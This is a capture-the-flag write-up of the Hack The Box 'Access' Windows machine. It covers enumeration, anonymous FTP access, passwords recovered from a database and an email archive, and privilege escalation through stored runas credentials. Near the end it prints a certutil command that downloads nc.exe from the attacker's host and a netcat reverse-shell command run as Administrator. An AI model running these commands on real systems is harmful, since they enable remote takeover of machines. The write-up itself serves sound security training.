Access is an easy-difficulty Windows box that exemplifies some of the industry’s biggest faux pas. The FTP service running on the system allows for anonymous access, as if running the outdated and unencrypted protocol wasn’t enough. To make matters worse, the FTP server serves up information far sweeter than grandma’s famous gingersnaps. Upon initial access to the system, it becomes apparent that we’re dealing with another case of “The Lazy Administrator” who can’t be bothered to type (or perhaps even remember) their password.
Note: I completed this challenge on December 19th, 2018, however I’m just now writing it up in December 2019. As such, some of the details are sparse.
To begin the enumeration process, a port scan was run against the target using
masscan. The purpose of this initial scan is to quickly determine which ports are open so that a more focused
nmap scan can be performed that will target only the open ports discovered by
root@kali:~/workspace/hackthebox/Access# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.98
masscan, it was revealed that TCP ports 21 (FTP), 23 (Telnet), and 80 (HTTP) were listening for connections. Using this information, a second scan was run using
nmap to more thoughoughly examine the services listening on the discovered ports.
root@kali:~/workspace/hackthebox/Access# nmap -p 21,80,23 -sC -sV -oA scans/discovered-tcp 10.10.10.98
As expected, the services listening for connections on Access were FTP, Telnet, and HTTP. A screenshot of the result of the
nmap scan is shown below.
Of notable significance in this result is the “Anonymous FTP login allowed” line. This means that a user may access the FTP server running on Access as an anonymous user (with no password required). The process of accessing the FTP server in this manner is shown in the image below.
Two directories were found in the root directory of the FTP server; a
Backups directory and an
Engineer directory. Searching through these directories revealed two interesting files;
backup.mdb in the
Backups directory and
Access Control.zip in the
Engineer directory. The FTP command
get can be used to transfer the remote files to the local testing host. Depending on the contents being transferred with
get, it is often advisable to transfer the data in binary mode (as opposed to in ASCII (text) mode). Binary mode transfers data byte-for-byte while ASCII mode will convert line endings from those of the sending system to those of the receiving system. Binary mode can be enabled with the FTP
Access Control.zip have been retrieved from the remote FTP server, they can be more thouroughly examined with the Linux
file command. An example of this is demonstrated below.
root@kali:~/workspace/hackthebox/Access# file backup.mdb; file 'Access Control.zip' backup.mdb: Microsoft Access Database Access Control.zip: Zip archive data, at least v2.0 to extract
As files with the
.mdb extension are not commonly used in Linux environments, a little searching was required to determine how to work with this Microsoft Access Database file type. The MDBOpener website was used to upload the
backup.mdb Microsoft Access Database base, extract the contents, and export the data in CSV format. After parsing through the various tables present within the backup database, the
auth_user table was eventually found, the contents of which are shown in the image below.
As the content within the
auth_user table appears to contain username-password combinations, the username-password pairs were used in attempts to access the Telnet server running on TCP port 23 of the target system, but to no avail. Time to look elsewhere.
Moving on to the second file retreived from the FTP server, the
'Access Control.zip' file can be unzipped using the
7z tool, as shown below.
root@kali:~/workspace/hackthebox/Access# 7z x 'Access Control.zip'
In this case, the file is password protected. Using the password
access4u@security password found previously in the
auth_user table within the Microsoft Access Database successfully unzips the
'Access Control.zip' file, revealing the
'Access Control.pst' file. Checking this file out with
file reveals that the
.pst file is a Microsoft Outlook email folder:
root@kali:~/workspace/hackthebox/Access# file 'Access Control.pst' Access Control.pst: Microsoft Outlook email folder (>=2003)
After a little research, it was found that the
readpst tool as provided by the
pst-utils package can be used to read the information within a
.pst file. If necessary,
pst-utils can be installed with the
apt-get install pst-utils command. After using
read-pst to reclaim the contents within the
'Access Control.pst' file, the
'Access Control.mbox' file is returned.
root@kali:~/workspace/hackthebox/Access# file 'Access Control.mbox' Access Control.mbox: HTML document, UTF-8 Unicode text, with very long lines
As this contains UTF-8 Unicode text, it can be read using
vi. A snippet of the contents within the
'Access Control.mbox' file is shown below.
Hi there, The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers. Regards, John
Thanks for the information, John.
security with the password
4Cc3ssC0ntr0ller can be used to log in Access using
telnet. At this point, the
user.txt flag can be read. This process is shown in the screenshot below.
While running through the usual privelege escalation enumeration commands, something stood out as odd. After running the
net users administrator command, it was revealed that the “Password Not Required” property has been set for the Administrator user. This means that the Administrator user is allowed passwordless logon to the system.
Investigating this property further with the Windows
cmdkey /list command, it can be seen that the Administrator user has a stored credential on the system.
Continuing enumeration, the
ZKAccess3.5 Security System.lnk shortcut file found on the Public user’s desktop suggests that commands can be run as the Administrator using the
runas Windows command along with the
/savecred flag. The
runas command can be used to run a Windows command as another system user.
Putting these pieces together, it is clear that system commands can be run as the Administrator user if the
/savecred flag is included as part of the
runas command. The fact that the Administrator does not need a password to logon to the system, that the Administrator user has a stored credential on the system, and that the
runas command with the
/savecred flag is being used on the system suggests a possible privelege elevation scenario.
To leverage this situtation,
nc.exe can be transferred to the target system and then used to obtain a reverse shell that connects to the attacking machine.
In this case, the
certutil Windows tool is used on the target system to download
nc.exeto the target system. After using Python’s
SimpleHTTPServer to host
nc.exe on the attacking system, the
certutil command shown below was run on the target system to download the
nc executable to the system.
C:\Users\security\Music>certutil.exe -urlcache -split -f http://10.10.14.2/nc.exe nc.exe
A screenshot of this process is included below.
nc.exe on the target system and a
nc listener listening on the attacking system, the command shown below was run on the target system to create a reverse shell connection to the attacking system.
C:\Users\security\Music>runas /user:Administrator /savecred "nc.exe -e cmd.exe 10.10.14.2 4444"
From the connection received on the attacking system, the
root.txt flag can be read.